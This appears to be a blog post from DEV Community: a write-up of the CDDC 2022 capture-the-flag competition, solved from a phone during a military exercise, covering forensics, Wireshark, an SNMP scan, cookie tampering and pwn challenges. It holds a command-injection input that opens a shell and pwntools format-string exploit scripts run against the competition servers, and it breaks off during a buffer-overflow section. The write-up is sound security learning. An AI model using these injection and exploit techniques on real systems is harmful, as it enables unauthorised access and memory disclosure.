DEV Community

Terence Chan Zun Mun
Terence Chan Zun Mun

Posted on

CDDC 2022 in Thailand Outfield

CDDC, or Cyber Defenders Discovery Camp is a Capture the Flag Competition hosted by DSTA for Singaporeans. I usually participate in the JC/IP category since my education background is as such.

Last year, I did CDDC 2021 in Ex Crescendo. I overcame the odds and did it in outfield, with a spotty data signal and no laptop

This year, its time for CDDC 2022 Ex Crescendo. But this time, it's in Thailand.

Overall

Thoughts

Our team, NYCP got 12th place. Not bad for 3 guys currently serving NS at the same time.

https://docs.google.com/spreadsheets/d/1inUj_QOlWg61jBA6h-Rm_WdsS2N2c1954HmkXB63gfY/edit?usp=sharing

This CTF was fun and good. Got to use some of my OSCP knowledge, revise some Pwning, learn about 64bit format string bugs, improve my web skills and more. Only regret is that i could have tried harder for this to aim for top 10, but oh well.

How we did the challenges

For me it's the same thing as last year. The main strategies I used are

  • Kali Nethunter
  • Tmate to SSH into home desktop

However, in Thailand, there are some things which are for better or for worse

  • I managed to get unlimited data SIM card for 330 baht = 14SGD, which helped, as I don't have to spend time thinking about data consumption. The only limitation is that it has a cap on the data speed, but that is not important for CTFs, since they are not that data intensive
  • Data signal is surprisingly good, even outfield
    • Generally 4G 2 bar or so, but very usable.
    • This means that I can access the services anywhere, instead of waiting and trying to get signal during ration runs.
  • Didn't dare to bring a laptop, since its a military exercise, and I didn't want to risk it

Even though I'm in Thailand, it was actually easier in some ways than last year, as we were mainly preparing stuff in camp. Only in the last few hours did we move out to set up for outfield (That's when I entirely did the SPA Challenge). This is compared to last year, where I did the entire CTF outfield.

Now lets move on to the challenge writeups.

Ring 5

Misc - go n c

┌──(kali㉿localhost)-[~]
└─$ nc 13.250.249.51 7101
CDDC22{S1mp1e_Ch4113ng3_just_G0_4nd_S33}
┌──(kali㉿localhost)-[~]
└─$ 
Enter fullscreen mode Exit fullscreen mode

Forensics - Unknown File

Steps are

  • Unzip the file -> Get hexadecimal text file
  • Use Cyberchef to convert hexadecimal text into binary data -> File format is .jpg -> Save as a file
  • Use fotoforensics webpage to figure out that the photo has hidden pixels, uncover it to get the flag.
~/.../downloads/cddc2022 $ unzip ../Unknown_file.zip
Archive:  ../Unknown_file.zip
  inflating: Unknown_file.txt
~/.../downloads/cddc2022 $
Enter fullscreen mode Exit fullscreen mode

Image description

Image description

Image description

CDDC22{S6oW\_me\_y0u're\_4he\_8est}

Network - Simple Shark

Open pcap given in Wireshark, Export HTTP Objects and Save all of them, and then list the contents of all the files to get the flag

Image description

~/.../Documents/cddc2022 $ cd simpleshark/
~/.../cddc2022/simpleshark $ ls
%2f                fury.txt          object110  object29      shark.txt
Meet_the_Real.png  images.jpeg       object119  object30
Reach.pdf          masterpiece.docx  object141  object78
carpe_diem.png     maya_angelou.txt  object148  photo.png
dispair.pdf        object102         object149  pixabay.jpeg
~/.../cddc2022/simpleshark $ cat *.txt
CDDC22{The_s6@rK_H@D_@_F1@99999!!!}
You are the sum total of everything you've ever seen, heard, eaten, smelled, been told, forgot --  it's all there. Everything influences each of us, and because of that I try to make sure that my experiences are positive
Baby shark, doo doo doo doo doo doo. Baby shark, doo doo doo doo doo doo.
 Baby shark, doo doo doo doo doo doo. Baby shark!
Mommy shark, doo doo doo doo doo doo. Mommy shark, doo doo doo doo doo doo.
Mommy shark, doo doo doo doo doo doo. Mommy shark!
~/.../cddc2022/simpleshark $
Enter fullscreen mode Exit fullscreen mode

CDDC22{The\_s6@rK\_H@D\_@\_F1@99999!!!}

Network - SNMP

On looking through the pcap, the string "public1" appears many times in many packets.You can guess the community string is that for use in SNMP scans.

Image description

┌──(kali㉿localhost)-[~]
└─$ onesixtyone 13.215.173.140 public1
Scanning 1 hosts, 1 communities
13.215.173.140 [public1] HP ETHERNET MULTI-ENVIRONMENT. The flag is CDDC22{L34king_SNMP_C0mmunity_$}
^C

┌──(kali㉿localhost)-[~]
└─$
Enter fullscreen mode Exit fullscreen mode

More info about SNMP cam be found https://github.com/garyhooks/oscp/blob/master/__REFERENCE__/snmp.md, its an OSCP topic.

CDDC22{L34king\_SNMP\_C0mmunity\_$}

Web - Baby Web

Open web page and inspect element to view the flag

Image description

CDDC22{H3lL0\_Spac3\_tr4v3l3r5}

Web - Little Star

Firstly, I tried reading the source code of the webpage. The comment <!-- twinkle_star -> little_star -> flag → would likely be useful. The Javascript source code suggests that the webpage retrieves data from the endpoint

┌──(kali㉿localhost)-[/tmp]
└─$ curl http://13.215.173.140:30013
<html>
<head>
    <meta charset="utf-8">
    <title> Star Cookies </title>
    <link href="/static/css/main.css" rel="stylesheet">
    <script src="/static/js/main.js"></script>
    <script src="/static/js/jquery-3.6.0.min.js"></script>
    <script>
        $(document).ready(function() {
            main();
        })
    </script>
</head>
<body>
    <div id="sky">
        <div class="content">
            <!-- twinkle_star -> little_star -> flag -->
            <div><div class="button" onclick="star()">⭐</div></div>
        </div>
    </div>
</body>
</html>
┌──(kali㉿localhost)-[/tmp]
└─$ curl http://13.215.173.140:30013/static/js/main.js
function star() {
    $.get("/star", function(data, status) {
      html_code = '<div class="button">⭐</div>\n'+data['content'];
      $(".content")[0].innerHTML = html_code;
    })
  }

function main() {
    for(var i = 0; i < 200; i++) {
        //get random dimensions
        var x = Math.random() * 100;
        var y = Math.random() * 50;
        var d = Math.random() * 4;
        var s = Math.random() * 2 + 1.5;
        //create new element and add to html
        var star = document.createElement("div");
        star.classList.add("star");
        var sky = document.getElementById("sky");
        sky.appendChild(star);

        star.style.width = d + "px";
        star.style.height = d + "px";
        star.style.top = y + "%";
        star.style.left = x + "%";
        star.style.animationDuration = s + "s";
      }
}
┌──(kali㉿localhost)-[/tmp]
└─$ 
Enter fullscreen mode Exit fullscreen mode

I tried monitoring the webpage network requests using Firefox. The /star endpoint provides a HTML element to show an image. There is also a request cookie of "twinkle_star".

Image description

Image description

Image description

I tried changing the request cookie to "flag" to get the flag

┌──(kali㉿localhost)-[/tmp]
└─$ curl http://13.215.173.140:30013/star -X POST
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>

┌──(kali㉿localhost)-[/tmp]
└─$ curl http://13.215.173.140:30013/star --cookie "star=little_star"
{"content":"<div class=\"cookie\">little_star</div> <br /><img class=\"image\" src=\"/static/img/yellostar.gif\">"}

┌──(kali㉿localhost)-[/tmp]
└─$ curl http://13.215.173.140:30013/star --cookie "star=twinkle_star"
{"content":"<div class=\"cookie\">twinkle_star</div> <br /><img class=\"image\" src=\"/static/img/starfall.gif\">"}

┌──(kali㉿localhost)-[/tmp]
└─$ curl http://13.215.173.140:30013/star --cookie "star=flag"
{"content":"<div class=\"cookie\">FLAG!</div> <br /><div class=\"text-rainbow\">CDDC22{B4by_W3b_H4cking_3asy++}</div>"}

┌──(kali㉿localhost)-[/tmp]
└─$
Enter fullscreen mode Exit fullscreen mode

CDDC22{B4by\_W3b\_H4cking\_3asy++}

Pwn - Command Injection

The title of the challenge suggests a command injection, injecting something in the text such that it is interpreted as running a command.

Firstly, I viewed the strings in the binary (Lazy to decompile lol)

  • It revealed the potential key: Pa$$WoRD1@
  • It revealed the command to inject in: echo %s
┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ strings command_injection
/lib64/ld-linux-x86-64.so.2
libc.so.6
fflush
sprintf
strncmp
puts
__stack_chk_fail
stdin
read
stdout
system
sleep
__cxa_finalize
setvbuf
__libc_start_main
GLIBC_2.4
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
AWAVI
AUATL
[]A\A]A^A_
Key :
Pa$$WoRD1@
echo %s
Wrong key!
Good bye.
;*3$"
GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.7698
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
server.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
strncmp@@GLIBC_2.2.5
_ITM_deregisterTMCloneTable
stdout@@GLIBC_2.2.5
puts@@GLIBC_2.2.5
stdin@@GLIBC_2.2.5
_edata
__stack_chk_fail@@GLIBC_2.4
system@@GLIBC_2.2.5
read@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
func
__libc_csu_init
fflush@@GLIBC_2.2.5
__bss_start
main
setvbuf@@GLIBC_2.2.5
sprintf@@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
sleep@@GLIBC_2.2.5
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment
Enter fullscreen mode Exit fullscreen mode

Testing the given key

┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ nc 18.141.181.118 7012                                                              Key : Pa$$WoRD1@                                                                        Pa6344WoRD1@
Good bye.

┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ nc 18.141.181.118 7012
Key : aa
Wrong key!

Good bye.

┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$
Enter fullscreen mode Exit fullscreen mode

Time to add delimiters

We could run multiple commands in 1 line in Linux, by putting ; between commands. I tried to do that, so that the command run is "echo Pa$$WoRD1@;sh", which brings up a shell

┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ nc 18.141.181.118 7012
Key : Pa$$WoRD1@;sh
Pa6782WoRD1@
pwd
/home/user
ls -al
total 28
drwxr-x--- 1 root user 4096 Jun  9 17:36 .
drwxr-xr-x 1 root root 4096 Jun  9 17:36 ..
-r--r----- 1 root user   36 May 30 17:27 flag
-rwxr-x--- 1 root user 8800 May 30 17:27 prob
-rwxr-x--- 1 root user   62 Jun  9 17:36 run
^C
Enter fullscreen mode Exit fullscreen mode

Trying to read flag

┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ nc 18.141.181.118 7012
Key : Pa$$WoRD1@;sh
Pa7104WoRD1@
ls -al
total 28
drwxr-x--- 1 root user 4096 Jun  9 17:36 .
drwxr-xr-x 1 root root 4096 Jun  9 17:36 ..
-r--r----- 1 root user   36 May 30 17:27 flag
-rwxr-x--- 1 root user 8800 May 30 17:27 prob
-rwxr-x--- 1 root user   62 Jun  9 17:36 run
cat flag
CDDC22{H3h3_1nject1ng_c0Mmand_Fun~!}
^C

┌──(kali㉿localhost)-[~/Documents/cddc2022]
└─$ 
Enter fullscreen mode Exit fullscreen mode

Pwn - Simple format string Attack

I firstly decompiled it with Retdec.

//
// This file was generated by the Retargetable Decompiler
// Website: https://retdec.com
// Copyright (c) Retargetable Decompiler <info@retdec.com>
//

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// ------------------------ Structures ------------------------

struct _IO_FILE {
    int32_t e0;
};

// ------------------- Function Prototypes --------------------

int64_t __do_global_dtors_aux(void);
int64_t __libc_csu_fini(void);
int64_t __libc_csu_init(int64_t a1, int64_t a2, int64_t a3);
int64_t _fini(void);
int64_t _init(void);
int64_t _start(int64_t a1, int64_t a2, int64_t a3, int64_t a4);
int64_t deregister_tm_clones(void);
int64_t frame_dummy(void);
int32_t function_7b0(char * s1, char * s2, int32_t n);
int32_t function_7c0(int64_t * ptr, int32_t size, int32_t n, struct _IO_FILE * stream);
int32_t function_7d0(struct _IO_FILE * stream);
void function_7e0(void);
int32_t function_7f0(char * format, ...);
char * function_800(char * s, int32_t n, struct _IO_FILE * stream);
int32_t function_810(struct _IO_FILE * stream, char * buf, int32_t modes, int32_t n);
struct _IO_FILE * function_820(char * filename, char * modes);
void function_830(char * s);
void function_840(int32_t status);
void function_850(int64_t * d);
int64_t readflag(void);
int64_t register_tm_clones(void);

// --------------------- Global Variables ---------------------

int64_t g1 = 2400; // 0x200d70
int64_t g2 = 2336; // 0x200d78
struct _IO_FILE * g3 = NULL; // 0x201020
struct _IO_FILE * g4 = NULL; // 0x201030
char g5 = 0; // 0x201038
char * g6; // 0x201040
int32_t g7 = 0; // 0x400
int32_t g8;

// ------------------------ Functions -------------------------

// Address range: 0x788 - 0x79f
int64_t _init(void) {
    int64_t result = 0; // 0x796
    if (*(int64_t *)0x200fe8 != 0) {
        // 0x798
        __gmon_start__();
        result = &g8;
    }
    // 0x79a
    return result;
}

// Address range: 0x7b0 - 0x7b6
int32_t function_7b0(char * s1, char * s2, int32_t n) {
    // 0x7b0
    return strncmp(s1, s2, n);
}

// Address range: 0x7c0 - 0x7c6
int32_t function_7c0(int64_t * ptr, int32_t size, int32_t n, struct _IO_FILE * stream) {
    // 0x7c0
    return fread(ptr, size, n, stream);
}

// Address range: 0x7d0 - 0x7d6
int32_t function_7d0(struct _IO_FILE * stream) {
    // 0x7d0
    return fclose(stream);
}

// Address range: 0x7e0 - 0x7e6
void function_7e0(void) {
    // 0x7e0
    __stack_chk_fail();
}

// Address range: 0x7f0 - 0x7f6
int32_t function_7f0(char * format, ...) {
    // 0x7f0
    return printf(format);
}

// Address range: 0x800 - 0x806
char * function_800(char * s, int32_t n, struct _IO_FILE * stream) {
    // 0x800
    return fgets(s, n, stream);
}

// Address range: 0x810 - 0x816
int32_t function_810(struct _IO_FILE * stream, char * buf, int32_t modes, int32_t n) {
    // 0x810
    return setvbuf(stream, buf, modes, n);
}

// Address range: 0x820 - 0x826
struct _IO_FILE * function_820(char * filename, char * modes) {
    // 0x820
    return fopen(filename, modes);
}

// Address range: 0x830 - 0x836
void function_830(char * s) {
    // 0x830
    perror(s);
}

// Address range: 0x840 - 0x846
void function_840(int32_t status) {
    // 0x840
    exit(status);
}

// Address range: 0x850 - 0x856
void function_850(int64_t * d) {
    // 0x850
    __cxa_finalize(d);
}

// Address range: 0x860 - 0x88b
int64_t _start(int64_t a1, int64_t a2, int64_t a3, int64_t a4) {
    // 0x860
    int64_t v1; // 0x860
    __libc_start_main(2518, (int32_t)a4, (char **)&v1, (void (*)())2816, (void (*)())2928, (void (*)())a3);
    __asm_hlt();
    // UNREACHABLE
}

// Address range: 0x890 - 0x8c2
int64_t deregister_tm_clones(void) {
    // 0x890
    return (int64_t)&g3;
}

// Address range: 0x8d0 - 0x912
int64_t register_tm_clones(void) {
    // 0x8d0
    return 0;
}

// Address range: 0x920 - 0x95a
int64_t __do_global_dtors_aux(void) {
    // 0x920
    if (g5 != 0) {
        // 0x958
        int64_t result; // 0x920
        return result;
    }
    // 0x929
    if (*(int64_t *)0x200ff8 != 0) {
        // 0x937
        __cxa_finalize((int64_t *)*(int64_t *)0x201008);
    }
    int64_t result2 = deregister_tm_clones(); // 0x943
    g5 = 1;
    return result2;
}

// Address range: 0x960 - 0x96a
int64_t frame_dummy(void) {
    // 0x960
    return register_tm_clones();
}

// Address range: 0x96a - 0x9d6
int64_t readflag(void) {
    struct _IO_FILE * file = fopen("flag", "rb"); // 0x980
    if (file != NULL) {
        // 0x9a6
        fread((int64_t *)&g6, (int32_t)&g7, 1, file);
        fclose(file);
        return 0;
    }
    // 0x990
    perror("[-] flag file ");
    exit(0);
    // UNREACHABLE
}

// Address range: 0x9d6 - 0xaf7
int main(int argc, char ** argv) {
    int64_t v1 = __readfsqword(40); // 0x9e1
    setvbuf(g3, NULL, 1, 0);
    setvbuf(g4, NULL, 1, 0);
    readflag();
    printf("[+] password => %p\n", (int64_t *)"P4s$w0rD");
    int64_t str; // bp-1048, 0x9d6
    fgets((char *)&str, (int32_t)&g7, g4);
    printf((char *)&str);
    if (strncmp("P4s$w0rD", "weakpass", 8) != 0) {
        // 0xac4
        printf("[!] password is %s\n", "P4s$w0rD");
    } else {
        // 0xaaa
        printf("[+] %s", (char *)&g6);
    }
    int64_t result = 0; // 0xaee
    if (v1 != __readfsqword(40)) {
        // 0xaf0
        __stack_chk_fail();
        result = &g8;
    }
    // 0xaf5
    return result;
}

// Address range: 0xb00 - 0xb65
int64_t __libc_csu_init(int64_t a1, int64_t a2, int64_t a3) {
    int64_t result = _init(); // 0xb2c
    if ((int64_t)&g2 - (int64_t)&g1 >> 3 == 0) {
        // 0xb56
        return result;
    }
    int64_t v1 = 0; // 0xb34
    while (v1 + 1 != (int64_t)&g2 - (int64_t)&g1 >> 3) {
        // 0xb40
        v1++;
    }
    // 0xb56
    return result;
}

// Address range: 0xb70 - 0xb72
int64_t __libc_csu_fini(void) {
    // 0xb70
    int64_t result; // 0xb70
    return result;
}

// Address range: 0xb74 - 0xb7d
int64_t _fini(void) {
    // 0xb74
    int64_t result; // 0xb74
    return result;
}

// --------------- Dynamically Linked Functions ---------------

// void __cxa_finalize(void * d);
// void __gmon_start__(void);
// int __libc_start_main(int *(main)(int, char **, char **), int argc, char ** ubp_av, void(* init)(void), void(* fini)(void), void(* rtld_fini)(void), void(* stack_end));
// void __stack_chk_fail(void);
// void exit(int status);
// int fclose(FILE * stream);
// char * fgets(char * restrict s, int n, FILE * restrict stream);
// FILE * fopen(const char * restrict filename, const char * restrict modes);
// size_t fread(void * restrict ptr, size_t size, size_t n, FILE * restrict stream);
// void perror(const char * s);
// int printf(const char * restrict format, ...);
// int setvbuf(FILE * restrict stream, char * restrict buf, int modes, size_t n);
// int strncmp(const char * s1, const char * s2, size_t n);

// --------------------- Meta-Information ---------------------

// Detected compiler/packer: gcc (7.5.0)
// Detected functions: 22

Enter fullscreen mode Exit fullscreen mode

I also disassembled it using objdump -M intel -d fmt

00000000000009d6 <main>:
 9d6:   55                      push   rbp
 9d7:   48 89 e5                mov    rbp,rsp
 9da:   48 81 ec 20 04 00 00    sub    rsp,0x420
 9e1:   64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
 9e8:   00 00
 9ea:   48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
 9ee:   31 c0                   xor    eax,eax
 9f0:   48 8b 05 29 06 20 00    mov    rax,QWORD PTR [rip+0x200629]        # 201020 <stdout@GLIBC_2.2.5>
 9f7:   b9 00 00 00 00          mov    ecx,0x0
 9fc:   ba 01 00 00 00          mov    edx,0x1
 a01:   be 00 00 00 00          mov    esi,0x0
 a06:   48 89 c7                mov    rdi,rax
 a09:   e8 02 fe ff ff          call   810 <setvbuf@plt>
 a0e:   48 8b 05 1b 06 20 00    mov    rax,QWORD PTR [rip+0x20061b]        # 201030 <stdin@GLIBC_2.2.5>
 a15:   b9 00 00 00 00          mov    ecx,0x0
 a1a:   ba 01 00 00 00          mov    edx,0x1
 a1f:   be 00 00 00 00          mov    esi,0x0
 a24:   48 89 c7                mov    rdi,rax
 a27:   e8 e4 fd ff ff          call   810 <setvbuf@plt>
 a2c:   48 8d 05 dd 05 20 00    lea    rax,[rip+0x2005dd]        # 201010 <password>
 a33:   48 89 85 e8 fb ff ff    mov    QWORD PTR [rbp-0x418],rax
 a3a:   b8 00 00 00 00          mov    eax,0x0
 a3f:   e8 26 ff ff ff          call   96a <readflag>
 a44:   48 8b 85 e8 fb ff ff    mov    rax,QWORD PTR [rbp-0x418]
 a4b:   48 89 c6                mov    rsi,rax
 a4e:   48 8d 3d 46 01 00 00    lea    rdi,[rip+0x146]        # b9b <_IO_stdin_used+0x1b>
 a55:   b8 00 00 00 00          mov    eax,0x0
 a5a:   e8 91 fd ff ff          call   7f0 <printf@plt>
 a5f:   48 8b 15 ca 05 20 00    mov    rdx,QWORD PTR [rip+0x2005ca]        # 201030 <stdin@GLIBC_2.2.5>
 a66:   48 8d 85 f0 fb ff ff    lea    rax,[rbp-0x410]
 a6d:   be 00 04 00 00          mov    esi,0x400
 a72:   48 89 c7                mov    rdi,rax
 a75:   e8 86 fd ff ff          call   800 <fgets@plt>
 a7a:   48 8d 85 f0 fb ff ff    lea    rax,[rbp-0x410]
 a81:   48 89 c7                mov    rdi,rax
 a84:   b8 00 00 00 00          mov    eax,0x0
 a89:   e8 62 fd ff ff          call   7f0 <printf@plt>
 a8e:   ba 08 00 00 00          mov    edx,0x8
 a93:   48 8d 35 15 01 00 00    lea    rsi,[rip+0x115]        # baf <_IO_stdin_used+0x2f>
 a9a:   48 8d 3d 6f 05 20 00    lea    rdi,[rip+0x20056f]        # 201010 <password>
 aa1:   e8 0a fd ff ff          call   7b0 <strncmp@plt>
 aa6:   85 c0                   test   eax,eax
 aa8:   75 1a                   jne    ac4 <main+0xee>
 aaa:   48 8d 35 8f 05 20 00    lea    rsi,[rip+0x20058f]        # 201040 <flag>
 ab1:   48 8d 3d 00 01 00 00    lea    rdi,[rip+0x100]        # bb8 <_IO_stdin_used+0x38>
 ab8:   b8 00 00 00 00          mov    eax,0x0
 abd:   e8 2e fd ff ff          call   7f0 <printf@plt>
 ac2:   eb 18                   jmp    adc <main+0x106>
 ac4:   48 8d 35 45 05 20 00    lea    rsi,[rip+0x200545]        # 201010 <password>
 acb:   48 8d 3d ed 00 00 00    lea    rdi,[rip+0xed]        # bbf <_IO_stdin_used+0x3f>
 ad2:   b8 00 00 00 00          mov    eax,0x0
 ad7:   e8 14 fd ff ff          call   7f0 <printf@plt>
 adc:   b8 00 00 00 00          mov    eax,0x0
 ae1:   48 8b 4d f8             mov    rcx,QWORD PTR [rbp-0x8]
 ae5:   64 48 33 0c 25 28 00    xor    rcx,QWORD PTR fs:0x28
 aec:   00 00
 aee:   74 05                   je     af5 <main+0x11f>
 af0:   e8 eb fc ff ff          call   7e0 <__stack_chk_fail@plt>
 af5:   c9                      leave
 af6:   c3                      ret
 af7:   66 0f 1f 84 00 00 00    nop    WORD PTR [rax+rax*1+0x0]
 afe:   00 00
Enter fullscreen mode Exit fullscreen mode

At first, I thought maybe we would overwrite the password variable with weakpass. The password variable address is initially given before any format string input happens, so we could read that using pwntools, put it on the string along with a format string write, and overwrite the contents of the variable. The execution flow goes into the other branch of the if statement to show the flag

I tried to access the contents of the input from the format string. This shows that the 8th argument is the start of the contents of the string ('A' = 0x41)

┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]
└─$ python3 -c "print('A'*16+'%x__'*10)"|./fmt
[+] password => 0x55688a401010
AAAAAAAAAAAAAAAA8b1e1891__0__8b1e18c9__8af2a2b0__92664c00__8af2a3e0__8a401010__41414141__41414141__5f5f7825__
[!] password is P4s$w0rD

┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]
└─$
Enter fullscreen mode Exit fullscreen mode

One of the main issue with 64 but addresses is that there are leading null bytes. After some research, I found https://tripoloski1337.github.io/ctf/2020/06/11/format-string-bug.html. I could put the address at the back of the payload string. Something like this

[Write][Padding][Address in Little Endian]\x00\x00… 
Enter fullscreen mode Exit fullscreen mode

We tried putting in the password variable address in the payload and accessing it

  • We calculate the argument to read from based on the length of the string
  • We have to pad between the different sections of the payload (reading, address) such that things are aligned by a group of 8 bytes. This makes it easier to calculate the argument to read from in the format string.

This here is a rough Proof of Concept

┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]
└─$ python2 fmt.py
[+] Starting local process './fmt': pid 4899
('[+] password => 0x563486e01010\n', '0x563486e01010')
['10', '10', 'e0', '86', '34', '56', '0x', '']
(1801545079,)
[*] Switching to interactive mode
[*] Process './fmt' stopped with exit code 0 (pid 4899)
AAAA0x563486e01010_______\x10V[!] password is P4s$w0rD
[*] Got EOF while reading in interactive
$

┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]
└─$ cat fmt.py
from pwn import *
import struct

io = process('./fmt')
#io.sendline('')
x = io.recvuntil('\n')

passloc = (x.split()[-1])
print(x,passloc)
slicing = []
for i in range(1,16,2):
  slicing.append( passloc[-i:-i-2:-1][::-1] )

print(slicing)

payload = ''
payload += "AAAA" # Posiiton 8
#payload +=  "_______"
payload += "%10$p"
payload += "_______"
#for i in range(4): payload += eval("'\\x"+slicing[i]+"'")
for i in range(0,6):
    payload += eval("'\\x"+slicing[i]+"'")
#payload += "AAAA"
payload += "\x00\x00"

## Writes #####################
wr1 = "weak" #"pass"
iwr1 = struct.unpack("<L",wr1)
print(iwr1)

###
io.sendline(payload)                                                                   
io.interactive()

┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]                                         
└─$
Enter fullscreen mode Exit fullscreen mode

Afterwards, I tried making an exploit to overwrite a character of the password variable. I automatically calculated the padding needed to write, as well as for the alignment

from pwn import *
import struct

io = process('./fmt')                                                                   
#io.sendline('')                                                                        
x = io.recvuntil('\n')

passloc = (x.split()[-1])
print(x,passloc)

### Getting Address ############
slicing = []                                                                            
for i in range(1,16,2):
  slicing.append( passloc[-i:-i-2:-1][::-1] )                                                                                                                                   print(slicing)                          

## Writes #####################                                                         
pad1 = "%{}c".format(
    ord('w')+ ord('e')*0x100 #+ ord ('a')*0x10000 #+ ord('k')*0x1000000
) # Posiiton 8                                                                          
pad1no = len(pad1) // 8                                                                 
print(pad1no)
write1 = "%{}$n".format(7 + pad1no + (len(pad1) % 8 > 0) + 2)
align = "_" * (8- len(pad1) % 8)
align += "-"* (8- len(write1)%8 )

address = ""
for i in range(0,6):
    address += eval("'\\x"+slicing[i]+"'")
address += "\x00\x00"                                                                   
payload = pad1+ write1 + align +  address                                               
print(payload)
###
io.sendline(payload)
io.interactive()
Enter fullscreen mode Exit fullscreen mode
┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]                                         
└─$ python2 fmtt/wea.py                                                                 
[+] Starting local process './fmt': pid 6517                                           
 ('[+] password => 0x563e2cc01010\n', '0x563e2cc01010')                                  
['10', '10', 'c0', '2c', '3e', '56', '0x', '']                                          
8319100072149214583                                                                    
0                                                                                       
%25975c%10$n_---\x10,>V\x00                                                            
 [*] Switching to interactive mode
… 
\x91_---\x10,>V[!] password is we                                                 
[*] Got EOF while reading in interactive
$
Enter fullscreen mode Exit fullscreen mode

On trying to scale this to 4 bytes, the ASCII value of "weak" or any other 4 letter word becomes too large that it would be very difficult to write and test.

Not to mention that %n can only write 4 bytes at once, and not 8, so 2 writes are needed. However, we can only put 1 address in the payload, as the terminating characters of the string need to be used.

Maybe there's another way to do this. On looking at the code, maybe instead of changing code execution, we change the address from the password variable to the flag variable?

We read in the password variable address, calculate the flag variable using the offsets from the diaassembly (201010 and 201040 respectively), put it in the payload and read it.

 a9a:   48 8d 3d 6f 05 20 00    lea    rdi,[rip+0x20056f]        # 201010 <password>
 aa1:   e8 0a fd ff ff          call   7b0 <strncmp@plt>
 aa6:   85 c0                   test   eax,eax
 aa8:   75 1a                   jne    ac4 <main+0xee>
 aaa:   48 8d 35 8f 05 20 00    lea    rsi,[rip+0x20058f]        # 201040 <flag>
Enter fullscreen mode Exit fullscreen mode

This ended up working well.

from pwn import *
import struct

#io = process('./fmt')
io = remote('13.213.59.167', 7011)
#io.sendline('')
x = io.recvuntil('\n')

passloc = (x.split()[-1])
print(x,passloc)

p=eval(passloc) - 0x201010 + 0x201040
pp = "%#x" % p
passloc =pp
slicing = []
for i in range(1,16,2):
  slicing.append( passloc[-i:-i-2:-1][::-1] )

print(slicing,pp)

## Writes #####################
wr1 = "weakpass"
iwr1 = struct.unpack("<Q",wr1)[0]
#iwr2 = struct.unpack("<L",wr2)[0]
print(iwr1)
#iwr1=4

###############################

pad1 = "%{}c".format(4) # Posiiton 8
pad1no = len(pad1) // 8
print(pad1no)
write1 = "%{}$s".format(7 + pad1no + (len(pad1) % 8 > 0) + 2)
align = "_" * (8- len(pad1) % 8)
align += "-"* (8- len(write1)%8 )


address = ""
for i in range(0,6):
    address += eval("'\\x"+slicing[i]+"'")
address += "\x00\x00"

payload = pad1+ write1 + align +  address
print(payload)
###
io.sendline(payload)
io.interactive()
Enter fullscreen mode Exit fullscreen mode
┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]
└─$ python2 fmt.py
[+] Opening connection to 13.213.59.167 on port 7011: Done
('[+] password => 0x5570ddc01010\n', '0x5570ddc01010')
(['40', '10', 'c0', 'dd', '70', '55', '0x', ''], '0x5570ddc01040')
8319100072149214583
0
%4c%10$s_____---@\x10U\x00
[*] Switching to interactive mode
   \x91CDDC22{B3_c4reful_t0_use_F0rmat_Str1ng!}_____---@\x10U[!] password is P4s$w0rD
[*] Got EOF while reading in interactive
$
Enter fullscreen mode Exit fullscreen mode

CDDC22{B3\_c4reful\_t0\_use\_F0rmat\_Str1ng!}

Pwn - Simple bof

This is a standard buffer Overflow challenge, can read more on the topic first if you don't understand. Watch LiveOverflow videos or something.

Firstly, I checked the binary for any protections (of which there are none)

┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]
└─$ checksec --file=overwriteme
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH     Symbols          FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   76) Symbols       No    0               3               overwriteme                                                                                                             ┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]                                         └─$ objdump -d -M intel overwriteme > disassembly.html

┌──(hacker㉿DESKTOP-SR8M2PL)-[~/Stuff/cddc2022]
└─$
Enter fullscreen mode Exit fullscreen mode

I decompiled it with retdec

~/.../cddc2022/somesharks $ cat ~/storage/downloads/decompiled/tmp/decompilation/overwriteme.c
//
// This file was generated by the Retargetable Decompiler
// Website: https://retdec.com
// Copyright (c) Retargetable Decompiler <info@retdec.com>
//

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

